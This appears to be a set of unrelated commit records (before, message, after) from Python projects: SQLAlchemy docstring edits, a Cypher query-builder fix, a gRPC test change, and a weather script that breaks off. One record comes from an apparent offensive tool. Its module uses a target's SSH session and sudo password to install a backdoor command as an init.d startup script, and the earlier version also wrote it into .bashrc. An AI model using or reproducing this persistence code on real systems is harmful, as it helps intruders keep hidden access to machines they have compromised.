<commit_before># interfaces.py
# Copyright (C) 2007 Jason Kirtland jek@discorporate.us
#
# This module is part of SQLAlchemy and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php

"""Interfaces and abstract types."""

class PoolListener(object):
    """Hooks into the lifecycle of connections in a ``Pool``.

    All of the standard connection [sqlalchemy.pool#Pool] types can
    accept event listeners for key connection lifecycle events:
    creation, pool check-out and check-in.  There are no events raised
    when a connection closes.

    For any given DB-API connection, there will be one ``connect``
    event, `n` number of ``checkout`` events, and `n` or `n -1`
    ``checkin`` events.  (If a ``Connection`` is detached from its
    pool via the ``detach()`` method, it won't be checked back in.)

    These are low-level events for low-level objects: raw Python
    DB-API connections, without the conveniences of the SQLAlchemy
    ``Connection`` wrapper, ``Dialect`` services or ``ClauseElement``
    execution.  If you execute SQL through the connection, explicitly
    closing all cursors and other resources is recommended.

    Events also receive a ``_ConnectionRecord``, a long-lived internal
    ``Pool`` object that basically represents a "slot" in the
    connection pool.  ``_ConnectionRecord`` objects have one public
    attribute of note: ``properties``, a dictionary whose contents are
    scoped to the lifetime of the DB-API connection managed by the
    record.

    There is no need to subclass ``PoolListener`` to handle events.
    Any class that implements one or more of these methods can be used
    as a pool listener.  The ``Pool`` will inspect a listener and add
    it to each internal event queue that it can handle.  In terms of
    efficiency and function call overhead, you're better off only
    providing implementations for the hooks you'll be using.
    """

    def connect(dbapi_con, con_record):
        """Called once for each new DB-API connection or Pool's ``creator()``.

        dbapi_con
          A newly connected raw DB-API connection (not a SQLAlchemy
          ``Connection`` wrapper).

        con_record
          The ``_ConnectionRecord`` that currently owns the connection
        """

    def checkout(dbapi_con, con_record):
        """Called when a connection is retrieved from the Pool.

        dbapi_con
          A raw DB-API connection

        con_record
          The ``_ConnectionRecord`` that currently owns the connection

        If you raise an ``exceptions.DisconnectionError``, the current
        connection will be disposed and a fresh connection retrieved.
        Processing of all checkout listeners will abort and restart
        using the new connection.
        """

    def checkin(dbapi_con, con_record):
        """Called when a connection returns to the pool.

        Note that the connection may be closed, and may be None if the
        connection has been invalidated.  ``checkin`` will not be called
        for detached connections.  (They do not return to the pool.)

        dbapi_con
          A raw DB-API connection

        con_record
          The _ConnectionRecord that currently owns the connection
        """
<commit_msg>Little docstring tweaks<commit_after># interfaces.py
# Copyright (C) 2007 Jason Kirtland jek@discorporate.us
#
# This module is part of SQLAlchemy and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php

"""Interfaces and abstract types."""

class PoolListener(object):
    """Hooks into the lifecycle of connections in a ``Pool``.

    All of the standard connection [sqlalchemy.pool#Pool] types can
    accept event listeners for key connection lifecycle events:
    creation, pool check-out and check-in.  There are no events fired
    when a connection closes.

    For any given DB-API connection, there will be one ``connect``
    event, `n` number of ``checkout`` events, and either `n` or `n - 1`
    ``checkin`` events.  (If a ``Connection`` is detached from its
    pool via the ``detach()`` method, it won't be checked back in.)

    These are low-level events for low-level objects: raw Python
    DB-API connections, without the conveniences of the SQLAlchemy
    ``Connection`` wrapper, ``Dialect`` services or ``ClauseElement``
    execution.  If you execute SQL through the connection, explicitly
    closing all cursors and other resources is recommended.

    Events also receive a ``_ConnectionRecord``, a long-lived internal
    ``Pool`` object that basically represents a "slot" in the
    connection pool.  ``_ConnectionRecord`` objects have one public
    attribute of note: ``properties``, a dictionary whose contents are
    scoped to the lifetime of the DB-API connection managed by the
    record.  You can use this shared storage area however you like.

    There is no need to subclass ``PoolListener`` to handle events.
    Any class that implements one or more of these methods can be used
    as a pool listener.  The ``Pool`` will inspect the methods
    provided by a listener object and add the listener to one or more
    internal event queues based on its capabilities.  In terms of
    efficiency and function call overhead, you're much better off only
    providing implementations for the hooks you'll be using.
    """

    def connect(dbapi_con, con_record):
        """Called once for each new DB-API connection or Pool's ``creator()``.

        dbapi_con
          A newly connected raw DB-API connection (not a SQLAlchemy
          ``Connection`` wrapper).

        con_record
          The ``_ConnectionRecord`` that currently owns the connection
        """

    def checkout(dbapi_con, con_record):
        """Called when a connection is retrieved from the Pool.

        dbapi_con
          A raw DB-API connection

        con_record
          The ``_ConnectionRecord`` that currently owns the connection

        If you raise an ``exceptions.DisconnectionError``, the current
        connection will be disposed and a fresh connection retrieved.
        Processing of all checkout listeners will abort and restart
        using the new connection.
        """

    def checkin(dbapi_con, con_record):
        """Called when a connection returns to the pool.

        Note that the connection may be closed, and may be None if the
        connection has been invalidated.  ``checkin`` will not be called
        for detached connections.  (They do not return to the pool.)

        dbapi_con
          A raw DB-API connection

        con_record
          The _ConnectionRecord that currently owns the connection
        """
<|endoftext|>


<commit_before>from .module import *

class Startup(Module):

    def __init__(self, target, backdoor, core):
        self.core = core
        self.target = target
        self.name = "startup"
        self.backdoor = backdoor
        self.options = {
                "bash": Option("bash", True, "Add to bashrc", False),
                "init": Option("init", False, "Add to system startup", False),
                }

    def exploit(self):
        if(self.get_value("bash")):
            self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S echo \'" + self.backdoor.get_command() + " > /dev/null \' >> .bashrc")
        if(self.get_value("init")):
            self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S echo \'" + self.backdoor.get_command() + "\' > file1234.sh")
            self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S chmod +x file1234.sh")
            self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S mv file1234.sh /etc/init.d/")
            self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S update-rc.d file1234.sh defaults")
        print(GOOD + self.name + " module success")

<commit_msg>Split startup and bashrc<commit_after>from .module import *

class Startup(Module):

    def __init__(self, target, backdoor, core):
        self.core = core
        self.target = target
        self.name = "startup"
        self.backdoor = backdoor
        self.options = {
                }

    def exploit(self):
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S echo \'" + self.backdoor.get_command() + "\' > file1234.sh")
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S chmod +x file1234.sh")
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S mv file1234.sh /etc/init.d/")
        self.target.ssh.exec_command("echo " + self.target.pword + " | sudo -S update-rc.d file1234.sh defaults")
        print(GOOD + self.name + " module success")
<|endoftext|>


<commit_before>from .relationship_manager import RelationshipDefinition, rel_helper
from copy import deepcopy
import re

def _deflate_node_value(label_map, prop, value):
    """
    When searching a query we must deflate our properties before making a query
    This helper functions attempts to deflate the properties by their structured node definition
    """
    prop = prop.replace('!', '').replace('?', '')
    property_classes = set()
    # find properties on potential classes
    for node_cls in label_map.values():
        if hasattr(node_cls, prop):
            property_classes.add(getattr(node_cls, prop).__class__)

    # attempt to deflate
    if len(property_classes) == 1:
        return property_classes.pop()().deflate(value)
    elif len(property_classes) > 1:
        classes = ' or '.join([cls.__name__ for cls in property_classes])
        node_classes = ' or '.join([cls.__name__ for cls in label_map.values()])
        raise ValueError("Unsure how to deflate '" + value + "' conflicting definitions "
                + " for target node classes " + node_classes + ", property could be any of: "
                + classes + " in where()")
    else:
        node_classes = ', '.join([cls.__name__ for cls in label_map.values()])
        raise ValueError("No property '{}' on {} can't deflate '{}' for where()".format(
            prop, node_classes, value))

def last_x_in_ast(ast, x):
    assert isinstance(ast, (list,))
    for node in reversed(ast):
        if x in node:
            return node
    raise IndexError("Could not find {0} in {1}".format(x, ast))

def unique_placeholder(placeholder, query_params):
    i = 0
    new_placeholder = "{}_{}".format(placeholder, i)
    while new_placeholder in query_params:
        i += 1
        new_placeholder = "{}_{}".format(placeholder, i)
    return new_placeholder

def _node_labeled(ident, labels):
    if len(labels) > 1:
        return ['({})'.format(
            ' OR '.join(['({}:{})'.format(ident, label) for label in labels]))]
    else:
        return ['({}:{})'.format(ident, labels[0])]

class AstBuilder(object):
    """Constructs a structure to be converted into a cypher query"""

    def __init__(self, start_node):
        self.start_node = start_node
        self.ident_count = 0
        self.query_params = {}
        self.ast = [{
            'start': '{self}',
            'class': self.start_node.__class__, 'name': 'origin',
            'label_map': {self.start_node.__label__: self.start_node.__class__}
        }]

    def _traverse(self, rel_manager, where_stmts=None):
        if len(self.ast) > 1:
            t = self._find_map(self.ast[-2]['label_map'], rel_manager)
        else:
            if not hasattr(self.start_node, rel_manager):
                    raise AttributeError("{} class has no relationship definition '{}' to traverse.".format(
                        self.start_node.__class__.__name__, rel_manager))
            t = getattr(self.start_node, rel_manager).definition
            t['name'] = rel_manager

        if where_stmts and not 'model' in t:
                raise Exception("Conditions " + repr(where_stmts) + " to traverse "
                        + rel_manager + " not allowed as no model specified on " + rel_manager)
        match, where = self._build_match_ast(t, where_stmts)
        self._add_match(match)
        if where:
            self._add_where(where)
        return self

    def _add_match(self, match):
        if len(self.ast) > 1:
            node = last_x_in_ast(self.ast, 'match')
            for rel in match['match']:
                node['match'].append(rel)
            # replace name and target map
            node['name'] = match['name']
            node['label_map'] = match['label_map']
        else:
            self.ast.append(match)

    def _add_where(self, where):
        if len(self.ast) > 2:
            node = last_x_in_ast(self.ast, 'where')
            for stmt in where:
                node['where'].append(stmt)
        else:
            self.ast.append({'where': where})

    def _create_ident(self):
        # ident generator
        self.ident_count += 1
        return 'r' + str(self.ident_count)

    def _build_match_ast(self, target, where_stmts):
        rel_to_traverse = {
            'lhs': last_x_in_ast(self.ast, 'name')['name'],
            'lhs_labels': last_x_in_ast(self.ast, 'name')['label_map'].keys(),
            'direction': target['direction'],
            'relation_type': target['relation_type'],
            'ident': self._create_ident(),
            'rhs': target['name'],
            'rhs_labels': target['label_map'].keys()
        }

        match = {
            'match': [rel_to_traverse],
            'name': target['name'],
            'label_map': target['label_map']
        }

        where_clause = _node_labeled(rel_to_traverse['lhs'], rel_to_traverse['lhs_labels'])
        where_clause += _node_labeled(rel_to_traverse['rhs'], rel_to_traverse['rhs_labels'])

        if where_stmts:
            where_clause += self._where_rel(where_stmts, rel_to_traverse['ident'], target['model'])

        return match, where_clause

    def _find_map(self, label_map, rel_manager):
        """
        When making a traverse find which relationship manager to follow
        - this can be ambiguous on multi class relationships
        - need to support some way of clarifying this
        """
        targets = []

        # find matching rel definitions
        for rel, cls in label_map.items():
            if hasattr(cls, rel_manager):
                manager = getattr(cls, rel_manager)
                if isinstance(manager, (RelationshipDefinition)):
                    p = manager.definition
                    p['name'] = rel_manager
                    # add to possible targets
                    targets.append(p)

        if not targets:
            t_list = ', '.join([t_cls.__name__ for t_cls, _ in label_map.items()])
            raise AttributeError("No such rel manager {0} on {1}".format(
                rel_manager, t_list))

        # return as list if more than one
        return targets if len(targets) > 1 else targets[0]

    def _where_node(self, ident_prop, op, value):
        if re.search(r'[^\w\?\!\.]', ident_prop):
            raise Exception("Invalid characters in ident allowed: [. \w ! ?]")
        target = last_x_in_ast(self.ast, 'name')
        if not '.' in ident_prop:
            prop = ident_prop
            ident_prop = target['name'] + '.' + ident_prop
        else:
            prop = ident_prop.split('.')[1]
        value = _deflate_node_value(target['label_map'], prop, value)
        return self._where_expr(ident_prop, op, value)

    def _where_rel(self, statements, rel_ident, model):
        stmts = []
        for statement in statements:
            rel_prop = statement[0].replace('!', '').replace('?', '')
            prop = getattr(model, rel_prop)
            if not prop:
                raise AttributeError("RelationshipManager '{}' on {} doesn't have a property '{}' defined".format(
                    rel_ident, self.start_node.__class__.__name__, rel_prop))
            val = prop.__class__().deflate(statement[2])
            stmts.append(self._where_expr(rel_ident + "." + statement[0], statement[1], val))
        return stmts

    def _where_expr(self, ident_prop, op, value):
        if not op in ['>', '<', '=', '<>', '=~']:
            raise Exception("Operator not supported: " + op)
        placeholder = re.sub('[!?]', '', ident_prop.replace('.', '_'))
        placeholder = unique_placeholder(placeholder, self.query_params)
        self.query_params[placeholder] = value
        return " ".join([ident_prop, op, '{' + placeholder + '}'])

    def _add_return(self, ast):
        node = last_x_in_ast(ast, 'name')
        idents = [node['name']]
        idents.append('labels({})'.format(idents[0]))
        ast.append({'return': idents})
        if hasattr(self, '_skip'):
            ast.append({'skip': int(self._skip)})
        if hasattr(self, '_limit'):
            ast.append({'limit': int(self._limit)})

    def _add_return_rels(self, ast):
        node = last_x_in_ast(ast, 'name')
        idents = [node['match'][0]['ident']]
        ast.append({'return': idents})
        if hasattr(self, '_skip'):
            ast.append({'skip': int(self._skip)})
        if hasattr(self, '_limit'):
            ast.append({'limit': int(self._limit)})

    def _set_order(self, ident_prop, desc=False):
        if not '.' in ident_prop:
            ident_prop = last_x_in_ast(self.ast, 'name')['name'] + '.' + ident_prop
        rel_manager, prop = ident_prop.split('.')

        # just in case input isn't safe
        assert not (re.search(r'[^\w]', rel_manager) and re.search(r'[^\w]', prop))

        name = last_x_in_ast(self.ast, 'name')['name']
        if name != rel_manager:
            raise ValueError("Last traversal was {0} not {1}".format(name, rel_manager))
        # set order
        if not hasattr(self, 'order_part'):
            self.order_part = {'order': ident_prop, 'desc': desc}
        else:
            raise NotImplemented("Order already set")

    def _add_return_count(self, ast):
        if hasattr(self, '_skip') or hasattr(self, '_limit'):
            raise NotImplemented("Can't use skip or limit with count")
        node = last_x_in_ast(ast, 'name')
        ident = ['count(' + node['name'] + ')']
        node = last_x_in_ast(ast, 'name')
        ast.append({'return': ident})

    def execute(self, ast):
        if hasattr(self, 'order_part'):
            # find suitable place to insert order node
            for i, entry in enumerate(reversed(ast)):
                if not ('limit' in entry or 'skip' in entry):
                    ast.insert(len(ast) - i, self.order_part)
                    break
        results, meta = self.start_node.cypher(Query(ast), self.query_params)
        self.last_ast = ast
        return results

    def execute_and_inflate_nodes(self, ast):
        label_map = last_x_in_ast(ast, 'label_map')['label_map']
        results = self.execute(ast)
        nodes = [row[0] for row in results]
        # TODO: if they have multiple labels this will break
        classes = [label_map[row[1][0]] for row in results]
        return [cls.inflate(node) for node, cls in zip(nodes, classes)]

class TraversalSet(AstBuilder):
    """API level methods"""
    def __init__(self, start_node):
        super(TraversalSet, self).__init__(start_node)

    def traverse(self, rel, *where_stmts):
        if not hasattr(self.start_node, '_id'):
            raise ValueError("Cannot traverse unsaved node")
        self._traverse(rel, where_stmts)
        return self

    def order_by(self, prop):
        self._set_order(prop, desc=False)
        return self

    def order_by_desc(self, prop):
        self._set_order(prop, desc=True)
        return self

    def where(self, ident, op, value):
        expr = self._where_node(ident, op, value)
        self._add_where(expr)
        return self

    def skip(self, count):
        if int(count) < 0:
            raise ValueError("Negative skip value not supported")
        self._skip = int(count)
        return self

    def limit(self, count):
        if int(count) < 0:
            raise ValueError("Negative limit value not supported")
        self._limit = int(count)
        return self

    def run(self):
        ast = deepcopy(self.ast)
        self._add_return(ast)
        return self.execute_and_inflate_nodes(ast)

    def __iter__(self):
        return iter(self.run())

    def __len__(self):
        ast = deepcopy(self.ast)
        self._add_return_count(ast)
        return self.execute(ast)[0][0]

    def __bool__(self):
        return bool(len(self))

    def __nonzero__(self):
        return bool(len(self))

class Query(object):
    def __init__(self, ast):
        self.ast = ast

    def _create_ident(self):
        self.ident_count += 1
        return 'r' + str(self.ident_count)

    def _build(self):
        self.position = 0
        self.ident_count = 0
        self.query = ''
        for entry in self.ast:
            self.query += self._render(entry) + "\n"
            self.position += 1
        return self.query

    def _render(self, entry):
        if 'start' in entry:
            return self._render_start(entry)
        elif 'match' in entry:
            return self._render_match(entry)
        elif 'where' in entry:
            return self._render_where(entry)
        elif 'return' in entry:
            return self._render_return(entry)
        elif 'skip' in entry:
            return self._render_skip(entry)
        elif 'limit' in entry:
            return self._render_limit(entry)
        elif 'order' in entry:
            return self._render_order(entry)

    def _render_start(self, entry):
        return "START origin=node(%s)" % entry['start']

    def _render_return(self, entry):
        return "RETURN " + ', '.join(entry['return'])

    def _render_match(self, entry):
        # add match clause if at start
        stmt = "MATCH\n" if 'start' in self.ast[self.position - 1] else ''
        stmt += ",\n".join([rel_helper(**rel) for rel in entry['match']])
        return stmt

    def _render_where(self, entry):
        expr = ' AND '.join(entry['where'])
        return "WHERE " + expr

    def _render_skip(self, entry):
        return "SKIP {0}".format(entry['skip'])

    def _render_limit(self, entry):
        return "LIMIT {0}".format(entry['limit'])

    def _render_order(self, entry):
        sort = ' DESC' if entry['desc'] else ''
        return "ORDER BY {0}{1}".format(entry['order'], sort)

    def __str__(self):
        return self._build()
<commit_msg>Fix where in traversal<commit_after>from .relationship_manager import RelationshipDefinition, rel_helper
from copy import deepcopy
import re

def _deflate_node_value(label_map, prop, value):
    """
    When searching a query we must deflate our properties before making a query
    This helper functions attempts to deflate the properties by their structured node definition
    """
    prop = prop.replace('!', '').replace('?', '')
    property_classes = set()
    # find properties on potential classes
    for node_cls in label_map.values():
        if hasattr(node_cls, prop):
            property_classes.add(getattr(node_cls, prop).__class__)

    # attempt to deflate
    if len(property_classes) == 1:
        return property_classes.pop()().deflate(value)
    elif len(property_classes) > 1:
        classes = ' or '.join([cls.__name__ for cls in property_classes])
        node_classes = ' or '.join([cls.__name__ for cls in label_map.values()])
        raise ValueError("Unsure how to deflate '" + value + "' conflicting definitions "
                + " for target node classes " + node_classes + ", property could be any of: "
                + classes + " in where()")
    else:
        node_classes = ', '.join([cls.__name__ for cls in label_map.values()])
        raise ValueError("No property '{}' on {} can't deflate '{}' for where()".format(
            prop, node_classes, value))

def last_x_in_ast(ast, x):
    assert isinstance(ast, (list,))
    for node in reversed(ast):
        if x in node:
            return node
    raise IndexError("Could not find {0} in {1}".format(x, ast))

def unique_placeholder(placeholder, query_params):
    i = 0
    new_placeholder = "{}_{}".format(placeholder, i)
    while new_placeholder in query_params:
        i += 1
        new_placeholder = "{}_{}".format(placeholder, i)
    return new_placeholder

def _node_labeled(ident, labels):
    if len(labels) > 1:
        return ['({})'.format(
            ' OR '.join(['({}:{})'.format(ident, label) for label in labels]))]
    else:
        return ['({}:{})'.format(ident, labels[0])]

class AstBuilder(object):
    """Constructs a structure to be converted into a cypher query"""

    def __init__(self, start_node):
        self.start_node = start_node
        self.ident_count = 0
        self.query_params = {}
        self.ast = [{
            'start': '{self}',
            'class': self.start_node.__class__, 'name': 'origin',
            'label_map': {self.start_node.__label__: self.start_node.__class__}
        }]

    def _traverse(self, rel_manager, where_stmts=None):
        if len(self.ast) > 1:
            t = self._find_map(self.ast[-2]['label_map'], rel_manager)
        else:
            if not hasattr(self.start_node, rel_manager):
                    raise AttributeError("{} class has no relationship definition '{}' to traverse.".format(
                        self.start_node.__class__.__name__, rel_manager))
            t = getattr(self.start_node, rel_manager).definition
            t['name'] = rel_manager

        if where_stmts and not 'model' in t:
                raise Exception("Conditions " + repr(where_stmts) + " to traverse "
                        + rel_manager + " not allowed as no model specified on " + rel_manager)
        match, where = self._build_match_ast(t, where_stmts)
        self._add_match(match)
        if where:
            self._add_where(where)
        return self

    def _add_match(self, match):
        if len(self.ast) > 1:
            node = last_x_in_ast(self.ast, 'match')
            for rel in match['match']:
                node['match'].append(rel)
            # replace name and target map
            node['name'] = match['name']
            node['label_map'] = match['label_map']
        else:
            self.ast.append(match)

    def _add_where(self, where):
        if len(self.ast) > 2:
            node = last_x_in_ast(self.ast, 'where')
            for stmt in where:
                node['where'].append(stmt)
        else:
            self.ast.append({'where': where})

    def _create_ident(self):
        # ident generator
        self.ident_count += 1
        return 'r' + str(self.ident_count)

    def _build_match_ast(self, target, where_stmts):
        rel_to_traverse = {
            'lhs': last_x_in_ast(self.ast, 'name')['name'],
            'lhs_labels': last_x_in_ast(self.ast, 'name')['label_map'].keys(),
            'direction': target['direction'],
            'relation_type': target['relation_type'],
            'ident': self._create_ident(),
            'rhs': target['name'],
            'rhs_labels': target['label_map'].keys()
        }

        match = {
            'match': [rel_to_traverse],
            'name': target['name'],
            'label_map': target['label_map']
        }

        where_clause = _node_labeled(rel_to_traverse['lhs'], rel_to_traverse['lhs_labels'])
        where_clause += _node_labeled(rel_to_traverse['rhs'], rel_to_traverse['rhs_labels'])

        if where_stmts:
            where_clause += self._where_rel(where_stmts, rel_to_traverse['ident'], target['model'])

        return match, where_clause

    def _find_map(self, label_map, rel_manager):
        """
        When making a traverse find which relationship manager to follow
        - this can be ambiguous on multi class relationships
        - need to support some way of clarifying this
        """
        targets = []

        # find matching rel definitions
        for rel, cls in label_map.items():
            if hasattr(cls, rel_manager):
                manager = getattr(cls, rel_manager)
                if isinstance(manager, (RelationshipDefinition)):
                    p = manager.definition
                    p['name'] = rel_manager
                    # add to possible targets
                    targets.append(p)

        if not targets:
            t_list = ', '.join([t_cls.__name__ for t_cls, _ in label_map.items()])
            raise AttributeError("No such rel manager {0} on {1}".format(
                rel_manager, t_list))

        # return as list if more than one
        return targets if len(targets) > 1 else targets[0]

    def _where_node(self, ident_prop, op, value):
        if re.search(r'[^\w\?\!\.]', ident_prop):
            raise Exception("Invalid characters in ident allowed: [. \w ! ?]")
        target = last_x_in_ast(self.ast, 'name')
        if not '.' in ident_prop:
            prop = ident_prop
            ident_prop = target['name'] + '.' + ident_prop
        else:
            prop = ident_prop.split('.')[1]
        value = _deflate_node_value(target['label_map'], prop, value)
        return self._where_expr(ident_prop, op, value)

    def _where_rel(self, statements, rel_ident, model):
        stmts = []
        for statement in statements:
            rel_prop = statement[0].replace('!', '').replace('?', '')
            prop = getattr(model, rel_prop)
            if not prop:
                raise AttributeError("RelationshipManager '{}' on {} doesn't have a property '{}' defined".format(
                    rel_ident, self.start_node.__class__.__name__, rel_prop))
            val = prop.__class__().deflate(statement[2])
            stmts.append(self._where_expr(rel_ident + "." + statement[0], statement[1], val))
        return stmts

    def _where_expr(self, ident_prop, op, value):
        if not op in ['>', '<', '=', '<>', '=~']:
            raise Exception("Operator not supported: " + op)
        placeholder = re.sub('[!?]', '', ident_prop.replace('.', '_'))
        placeholder = unique_placeholder(placeholder, self.query_params)
        self.query_params[placeholder] = value
        return " ".join([ident_prop, op, '{' + placeholder + '}'])

    def _add_return(self, ast):
        node = last_x_in_ast(ast, 'name')
        idents = [node['name']]
        idents.append('labels({})'.format(idents[0]))
        ast.append({'return': idents})
        if hasattr(self, '_skip'):
            ast.append({'skip': int(self._skip)})
        if hasattr(self, '_limit'):
            ast.append({'limit': int(self._limit)})

    def _add_return_rels(self, ast):
        node = last_x_in_ast(ast, 'name')
        idents = [node['match'][0]['ident']]
        ast.append({'return': idents})
        if hasattr(self, '_skip'):
            ast.append({'skip': int(self._skip)})
        if hasattr(self, '_limit'):
            ast.append({'limit': int(self._limit)})

    def _set_order(self, ident_prop, desc=False):
        if not '.' in ident_prop:
            ident_prop = last_x_in_ast(self.ast, 'name')['name'] + '.' + ident_prop
        rel_manager, prop = ident_prop.split('.')

        # just in case input isn't safe
        assert not (re.search(r'[^\w]', rel_manager) and re.search(r'[^\w]', prop))

        name = last_x_in_ast(self.ast, 'name')['name']
        if name != rel_manager:
            raise ValueError("Last traversal was {0} not {1}".format(name, rel_manager))
        # set order
        if not hasattr(self, 'order_part'):
            self.order_part = {'order': ident_prop, 'desc': desc}
        else:
            raise NotImplemented("Order already set")

    def _add_return_count(self, ast):
        if hasattr(self, '_skip') or hasattr(self, '_limit'):
            raise NotImplemented("Can't use skip or limit with count")
        node = last_x_in_ast(ast, 'name')
        ident = ['count(' + node['name'] + ')']
        node = last_x_in_ast(ast, 'name')
        ast.append({'return': ident})

    def execute(self, ast):
        if hasattr(self, 'order_part'):
            # find suitable place to insert order node
            for i, entry in enumerate(reversed(ast)):
                if not ('limit' in entry or 'skip' in entry):
                    ast.insert(len(ast) - i, self.order_part)
                    break
        results, meta = self.start_node.cypher(Query(ast), self.query_params)
        self.last_ast = ast
        return results

    def execute_and_inflate_nodes(self, ast):
        label_map = last_x_in_ast(ast, 'label_map')['label_map']
        results = self.execute(ast)
        nodes = [row[0] for row in results]
        # TODO: if they have multiple labels this will break
        classes = [label_map[row[1][0]] for row in results]
        return [cls.inflate(node) for node, cls in zip(nodes, classes)]

class TraversalSet(AstBuilder):
    """API level methods"""
    def __init__(self, start_node):
        super(TraversalSet, self).__init__(start_node)

    def traverse(self, rel, *where_stmts):
        if not hasattr(self.start_node, '_id'):
            raise ValueError("Cannot traverse unsaved node")
        self._traverse(rel, where_stmts)
        return self

    def order_by(self, prop):
        self._set_order(prop, desc=False)
        return self

    def order_by_desc(self, prop):
        self._set_order(prop, desc=True)
        return self

    def where(self, ident, op, value):
        expr = self._where_node(ident, op, value)
        self._add_where([expr])
        return self

    def skip(self, count):
        if int(count) < 0:
            raise ValueError("Negative skip value not supported")
        self._skip = int(count)
        return self

    def limit(self, count):
        if int(count) < 0:
            raise ValueError("Negative limit value not supported")
        self._limit = int(count)
        return self

    def run(self):
        ast = deepcopy(self.ast)
        self._add_return(ast)
        return self.execute_and_inflate_nodes(ast)

    def __iter__(self):
        return iter(self.run())

    def __len__(self):
        ast = deepcopy(self.ast)
        self._add_return_count(ast)
        return self.execute(ast)[0][0]

    def __bool__(self):
        return bool(len(self))

    def __nonzero__(self):
        return bool(len(self))

class Query(object):
    def __init__(self, ast):
        self.ast = ast

    def _create_ident(self):
        self.ident_count += 1
        return 'r' + str(self.ident_count)

    def _build(self):
        self.position = 0
        self.ident_count = 0
        self.query = ''
        for entry in self.ast:
            self.query += self._render(entry) + "\n"
            self.position += 1
        return self.query

    def _render(self, entry):
        if 'start' in entry:
            return self._render_start(entry)
        elif 'match' in entry:
            return self._render_match(entry)
        elif 'where' in entry:
            return self._render_where(entry)
        elif 'return' in entry:
            return self._render_return(entry)
        elif 'skip' in entry:
            return self._render_skip(entry)
        elif 'limit' in entry:
            return self._render_limit(entry)
        elif 'order' in entry:
            return self._render_order(entry)

    def _render_start(self, entry):
        return "START origin=node(%s)" % entry['start']

    def _render_return(self, entry):
        return "RETURN " + ', '.join(entry['return'])

    def _render_match(self, entry):
        # add match clause if at start
        stmt = "MATCH\n" if 'start' in self.ast[self.position - 1] else ''
        stmt += ",\n".join([rel_helper(**rel) for rel in entry['match']])
        return stmt

    def _render_where(self, entry):
        expr = ' AND '.join(entry['where'])
        return "WHERE " + expr

    def _render_skip(self, entry):
        return "SKIP {0}".format(entry['skip'])

    def _render_limit(self, entry):
        return "LIMIT {0}".format(entry['limit'])

    def _render_order(self, entry):
        sort = ' DESC' if entry['desc'] else ''
        return "ORDER BY {0}{1}".format(entry['order'], sort)

    def __str__(self):
        return self._build()
<|endoftext|>


<commit_before># Copyright 2020 The gRPC Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Testing the channel_ready function."""

import asyncio
import gc
import logging
import time
import unittest

import grpc
from grpc.experimental import aio

from tests.unit.framework.common import get_socket, test_constants
from tests_aio.unit import _common
from tests_aio.unit._test_base import AioTestBase
from tests_aio.unit._test_server import start_test_server

class TestChannelReady(AioTestBase):

    async def setUp(self):
        address, self._port, self._socket = get_socket(listen=False)
        self._socket.close()
        self._channel = aio.insecure_channel(f"{address}:{self._port}")

    async def tearDown(self):
        await self._channel.close()

    async def test_channel_ready_success(self):
        # Start `channel_ready` as another Task
        channel_ready_task = self.loop.create_task(
            self._channel.channel_ready())

        # Wait for TRANSIENT_FAILURE
        await _common.block_until_certain_state(
            self._channel, grpc.ChannelConnectivity.TRANSIENT_FAILURE)

        try:
            # Start the server
            _, server = await start_test_server(port=self._port)

            # The RPC should recover itself
            await channel_ready_task
        finally:
            await server.stop(None)

    async def test_channel_ready_blocked(self):
        with self.assertRaises(asyncio.TimeoutError):
            await asyncio.wait_for(self._channel.channel_ready(),
                                   test_constants.SHORT_TIMEOUT)

if __name__ == '__main__':
    logging.basicConfig(level=logging.DEBUG)
    unittest.main(verbosity=2)
<commit_msg>Try another approach to stablize the test<commit_after># Copyright 2020 The gRPC Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Testing the channel_ready function."""

import asyncio
import gc
import logging
import socket
import time
import unittest

import grpc
from grpc.experimental import aio

from tests.unit.framework.common import get_socket, test_constants
from tests_aio.unit import _common
from tests_aio.unit._test_base import AioTestBase
from tests_aio.unit._test_server import start_test_server

class TestChannelReady(AioTestBase):

    async def setUp(self):
        address, self._port, self._socket = get_socket(
            listen=False, sock_options=(socket.SO_REUSEADDR,))
        self._channel = aio.insecure_channel(f"{address}:{self._port}")
        self._socket.close()

    async def tearDown(self):
        await self._channel.close()

    async def test_channel_ready_success(self):
        # Start `channel_ready` as another Task
        channel_ready_task = self.loop.create_task(
            self._channel.channel_ready())

        # Wait for TRANSIENT_FAILURE
        await _common.block_until_certain_state(
            self._channel, grpc.ChannelConnectivity.TRANSIENT_FAILURE)

        try:
            # Start the server
            _, server = await start_test_server(port=self._port)

            # The RPC should recover itself
            await channel_ready_task
        finally:
            await server.stop(None)

    async def test_channel_ready_blocked(self):
        with self.assertRaises(asyncio.TimeoutError):
            await asyncio.wait_for(self._channel.channel_ready(),
                                   test_constants.SHORT_TIMEOUT)

if __name__ == '__main__':
    logging.basicConfig(level=logging.DEBUG)
    unittest.main(verbosity=2)
<|endoftext|>


<commit_before>#!/usr/bin/python

import ConfigParser
import time
import feedparser
import os
import pywapi
import string
import json
import urllib2
import pprint

from core.aprsfi import AprsFi
from core.aprsnet import AprsNet
from core.voicesynthetizer import VoiceSynthetizer
from core.phonetic import Phonetic

class Weather(object):

    def __init__(self, voicesynthetizer):

        self.phonetic = Phonetic()
        self.aprsfi = AprsFi()
